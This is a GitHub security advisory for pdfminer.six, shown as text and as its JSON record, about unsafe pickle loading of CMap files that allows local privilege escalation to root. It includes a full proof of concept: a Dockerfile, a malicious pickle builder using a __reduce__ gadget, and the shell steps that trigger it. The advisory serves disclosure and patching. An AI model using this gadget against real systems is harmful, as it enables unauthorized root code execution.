ghsa-f83h-ghpp-7wcc
Vulnerability from github
Overview
This report demonstrates a real-world privilege escalation vulnerability in pdfminer.six due to unsafe usage of Python's pickle module for CMap file loading.
It shows how a low-privileged user can gain root access (or escalate to any service account) by exploiting insecure deserialization in a typical multi-user or server environment.
Table of Contents
- Background
- Vulnerability Description
- Demo Scenario
- Technical Details
- Setup and Usage
- Step-by-step Walkthrough
- Security Standards & References
Background
pdfminer.six is a popular Python library for extracting text and information from PDF files. It supports CJK (Chinese, Japanese, Korean) fonts via external CMap files, which it loads from disk using Python's pickle module.
Security Issue:
If the CMap search path (CMAP_PATHor default directories) includes a world-writable or user-writable directory, an attacker can place a malicious.pickle.gzfile that will be loaded and deserialized by pdfminer.six, leading to arbitrary code execution.
Vulnerability Description
- Component: pdfminer.six CMap loading (
pdfminer/cmapdb.py) - Issue: Loads and deserializes
.pickle.gzfiles using Python’spicklemodule, which is unsafe for untrusted data. - Exploitability: If a low-privileged user can write to any directory in
CMAP_PATH, they can execute code as the user running pdfminer—potentially root or a privileged service. - Impact: Full code execution as the service user, privilege escalation from user to root, persistence, and potential lateral movement.
Demo Scenario
Environment:
- Alpine Linux (Docker container)
- Two users:
- user1 (attacker: low-privilege)
- root (victim: runs privileged PDF-processing script)
- Shared writable directory: /tmp/uploads
- CMAP_PATH set to /tmp/uploads for the privileged script
- pdfminer.six installed system-wide
Attack Flow:
1. user1 creates a malicious CMap file (Evil.pickle.gz) in /tmp/uploads.
2. The privileged service (root) processes a PDF or calls get_cmap("Evil").
3. The malicious pickle is deserialized, running arbitrary code as root.
4. The exploit creates a flag file in /root/pwnedByPdfminer as proof.
Technical Details
- Vulnerability Type: Insecure deserialization of untrusted data using Python's
pickle - Attack Prerequisites: Attacker can write to a directory included in
CMAP_PATH - Vulnerable Line:
python return type(str(name), (), pickle.loads(gzfile.read()))Inpdfminer/cmapdb.py's_load_datamethod - https://github.com/pdfminer/pdfminer.six/blob/20250506/pdfminer/cmapdb.py#L246
- Proof of Concept: See
createEvilPickle.py,evilmod.py, andprocessPdf.py
Exploit Chain:
- Attacker places a malicious .pickle.gz file in the CMap search path.
- Privileged process (e.g., root) loads a CMap, triggering pickle deserialization.
- Arbitrary code executes with the privilege of the process (root/service account).
Setup and Usage
📁 Files
</> Dockerfile
```yml FROM python:3.11-alpine
Install required packages and create users
RUN adduser -D user1 && mkdir -p /tmp/uploads && chown user1:user1 /tmp/uploads
WORKDIR /app
Install pdfminer.six
RUN pip install --no-cache-dir pdfminer.six
Copy app files
COPY evilmod.py /app/evilmod.py COPY createEvilPickle.py /app/createEvilPickle.py COPY processPDF.py /app/processPDF.py
Set up permissions for demo
RUN chmod 777 /tmp/uploads
Default: drop into a shell for demo instructions
CMD ["/bin/sh"] ```
</> evilmod.py
```python import os
def evilFunc(): with open("/root/pwnedByPdfminer", "w") as f: f.write("ROOTED by pdfminer pickle RCE\n") return {"CODE2CID": {}, "IS_VERTICAL": False} ```
</> createEvilPickle.py
```python import pickle import gzip from evilmod import evilFunc
class Evil: def reduce(self): return (evilFunc, ())
payload = pickle.dumps(Evil()) with gzip.open("/tmp/uploads/Evil.pickle.gz", "wb") as f: f.write(payload)
print("Malicious pickle created at /tmp/uploads/Evil.pickle.gz") ```
</> processPDF.py
```python import os from pdfminer.cmapdb import CMapDB
os.environ["CMAP_PATH"] = "/tmp/uploads"
CMapDB.get_cmap("Evil")
print("CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.") ```
Build and start the demo container
bash
docker build -t pdfminer-priv-esc-demo .
docker run --rm -it --name pdfminer-demo pdfminer-priv-esc-demo
In the container, open two shells in parallel (or switch users in one):
Shell 1 (Attacker: user1)
```bash su user1 cd /app python createEvilPickle.py
Confirms: /tmp/uploads/Evil.pickle.gz is created and owned by user1
```
Shell 2 (Victim: root)
```bash cd /app python processPdf.py
Output: If vulnerable, /root/pwnedByPdfminer will be created
```
Proof of escalation
```bash cat /root/pwnedByPdfminer
🏴 Output: ROOTED by pdfminer pickle RCE
```
Step-by-step Walkthrough
- user1 uses
createEvilPickle.pyto craft and place a malicious CMap pickle in a shared upload directory. - The root user runs a typical PDF-processing script, which loads CMap files from that directory.
- The exploit triggers, running arbitrary code as root.
- The attacker now has proof of code execution as root (and, in a real attack, could escalate further).
Security Standards & References
- OWASP Top 10:
- A08:2021 - Software and Data Integrity Failures
-
A03:2021 - Injection (by analogy, as it's code injection via deserialization)
-
MITRE ATT&CK Techniques:
- T1055: Process Injection
- T1548: Abuse Elevation Control Mechanism

{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 20250506"
},
"package": {
"ecosystem": "PyPI",
"name": "pdfminer.six"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "20251107"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-07T23:17:05Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Overview\n\nThis report **demonstrates a real-world privilege escalation** vulnerability in [pdfminer.six](https://github.com/pdfminer/pdfminer.six) due to unsafe usage of Python\u0027s `pickle` module for CMap file loading. \nIt shows how a low-privileged user can gain root access (or escalate to any service account) by exploiting insecure deserialization in a typical multi-user or server environment.\n\n## Table of Contents\n\n- [Background](#-background)\n- [Vulnerability Description](#-vulnerability-description)\n- [Demo Scenario](#-demo-scenario)\n- [Technical Details](#-technical-details)\n- [Setup and Usage](#-setup-and-usage)\n- [Step-by-step Walkthrough](#-step-by-step-walkthrough)\n- [Security Standards \u0026 References](#-security-standards--references)\n---\n\n## Background\n\n**pdfminer.six** is a popular Python library for extracting text and information from PDF files. It supports CJK (Chinese, Japanese, Korean) fonts via external CMap files, which it loads from disk using Python\u0027s `pickle` module.\n\n\u003e **Security Issue:** \n\u003e If the CMap search path (`CMAP_PATH` or default directories) includes a world-writable or user-writable directory, an attacker can place a malicious `.pickle.gz` file that will be loaded and deserialized by pdfminer.six, leading to arbitrary code execution.\n\n---\n\n### Vulnerability Description\n\n- **Component:** pdfminer.six CMap loading (`pdfminer/cmapdb.py`)\n- **Issue:** Loads and deserializes `.pickle.gz` files using Python\u2019s `pickle` module, which is unsafe for untrusted data.\n- **Exploitability:** If a low-privileged user can write to any directory in `CMAP_PATH`, they can execute code as the user running pdfminer\u2014potentially root or a privileged service.\n- **Impact:** Full code execution as the service user, privilege escalation from user to root, persistence, and potential lateral movement.\n\n### Demo Scenario\n\n**Environment:** \n- Alpine Linux (Docker container)\n- Two users: \n - `user1` (attacker: low-privilege)\n - `root` (victim: runs privileged PDF-processing script)\n- Shared writable directory: `/tmp/uploads`\n- `CMAP_PATH` set to `/tmp/uploads` for the privileged script\n- pdfminer.six installed system-wide\n\n**Attack Flow:** \n1. `user1` creates a malicious CMap file (`Evil.pickle.gz`) in `/tmp/uploads`.\n2. The privileged service (`root`) processes a PDF or calls `get_cmap(\"Evil\")`.\n3. The malicious pickle is deserialized, running arbitrary code as root.\n4. The exploit creates a flag file in `/root/pwnedByPdfminer` as proof.\n\n### Technical Details\n\n- **Vulnerability Type:** Insecure deserialization of untrusted data using Python\u0027s `pickle`\n- **Attack Prerequisites:** Attacker can write to a directory included in `CMAP_PATH`\n- **Vulnerable Line:** \n ```python\n return type(str(name), (), pickle.loads(gzfile.read()))\n ```\n *In `pdfminer/cmapdb.py`\u0027s `_load_data` method*\n- https://github.com/pdfminer/pdfminer.six/blob/20250506/pdfminer/cmapdb.py#L246\n- **Proof of Concept:** See `createEvilPickle.py`, `evilmod.py`, and `processPdf.py`\n\n**Exploit Chain:**\n- Attacker places a malicious `.pickle.gz` file in the CMap search path.\n- Privileged process (e.g., root) loads a CMap, triggering pickle deserialization.\n- Arbitrary code executes with the privilege of the process (root/service account).\n\n## Setup and Usage\n\n### \ud83d\udcc1 Files\n#### \u003c/\u003e Dockerfile\n```yml\nFROM python:3.11-alpine\n\n# Install required packages and create users\nRUN adduser -D user1 \u0026\u0026 mkdir -p /tmp/uploads \u0026\u0026 chown user1:user1 /tmp/uploads\n\nWORKDIR /app\n\n# Install pdfminer.six\nRUN pip install --no-cache-dir pdfminer.six\n\n# Copy app files\nCOPY evilmod.py /app/evilmod.py\nCOPY createEvilPickle.py /app/createEvilPickle.py\nCOPY processPDF.py /app/processPDF.py\n\n# Set up permissions for demo\nRUN chmod 777 /tmp/uploads\n\n# Default: drop into a shell for demo instructions\nCMD [\"/bin/sh\"]\n```\n\n#### \u003c/\u003e evilmod.py\n```python\nimport os\n\ndef evilFunc():\n with open(\"/root/pwnedByPdfminer\", \"w\") as f:\n f.write(\"ROOTED by pdfminer pickle RCE\\n\")\n return {\"CODE2CID\": {}, \"IS_VERTICAL\": False}\n```\n#### \u003c/\u003e createEvilPickle.py\n```python\nimport pickle\nimport gzip\nfrom evilmod import evilFunc\n\nclass Evil:\n def __reduce__(self):\n return (evilFunc, ())\n\npayload = pickle.dumps(Evil())\nwith gzip.open(\"/tmp/uploads/Evil.pickle.gz\", \"wb\") as f:\n f.write(payload)\n\nprint(\"Malicious pickle created at /tmp/uploads/Evil.pickle.gz\")\n```\n#### \u003c/\u003e processPDF.py\n```python\nimport os\nfrom pdfminer.cmapdb import CMapDB\n\nos.environ[\"CMAP_PATH\"] = \"/tmp/uploads\"\n\nCMapDB.get_cmap(\"Evil\")\n\nprint(\"CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.\")\n```\n\n### Build and start the demo container\n\n```bash\ndocker build -t pdfminer-priv-esc-demo .\ndocker run --rm -it --name pdfminer-demo pdfminer-priv-esc-demo\n```\n\n### In the container, open two shells in parallel (or switch users in one):\n\n#### Shell 1 (Attacker: user1)\n```bash\nsu user1\ncd /app\npython createEvilPickle.py\n# Confirms: /tmp/uploads/Evil.pickle.gz is created and owned by user1\n```\n\n#### Shell 2 (Victim: root)\n```bash\ncd /app\npython processPdf.py\n# Output: If vulnerable, /root/pwnedByPdfminer will be created\n```\n\n### Proof of escalation\n\n```bash\ncat /root/pwnedByPdfminer\n# \ud83c\udff4 Output: ROOTED by pdfminer pickle RCE\n```\n\n## Step-by-step Walkthrough\n\n1. **user1** uses `createEvilPickle.py` to craft and place a malicious CMap pickle in a shared upload directory.\n2. The **root** user runs a typical PDF-processing script, which loads CMap files from that directory.\n3. The exploit triggers, running arbitrary code as root.\n4. The attacker now has proof of code execution as root (and, in a real attack, could escalate further).\n\n## Security Standards \u0026 References\n\n- **OWASP Top 10:** \n - [A08:2021 - Software and Data Integrity Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/)\n - [A03:2021 - Injection](https://owasp.org/Top10/A03_2021-Injection/) (by analogy, as it\u0027s code injection via deserialization)\n\n- **MITRE ATT\u0026CK Techniques:** \n - [T1055: Process Injection](https://attack.mitre.org/techniques/T1055/)\n - [T1548: Abuse Elevation Control Mechanism](https://attack.mitre.org/techniques/T1548/)\n\n\n",
"id": "GHSA-f83h-ghpp-7wcc",
"modified": "2025-11-07T23:17:05Z",
"published": "2025-11-07T23:17:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-f83h-ghpp-7wcc"
},
{
"type": "WEB",
"url": "https://github.com/pdfminer/pdfminer.six/commit/b808ee05dd7f0c8ea8ec34bdf394d40e63501086"
},
{
"type": "PACKAGE",
"url": "https://github.com/pdfminer/pdfminer.six"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Insecure Deserialization (pickle) in pdfminer.six CMap Loader \u2014 Local Privesc"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.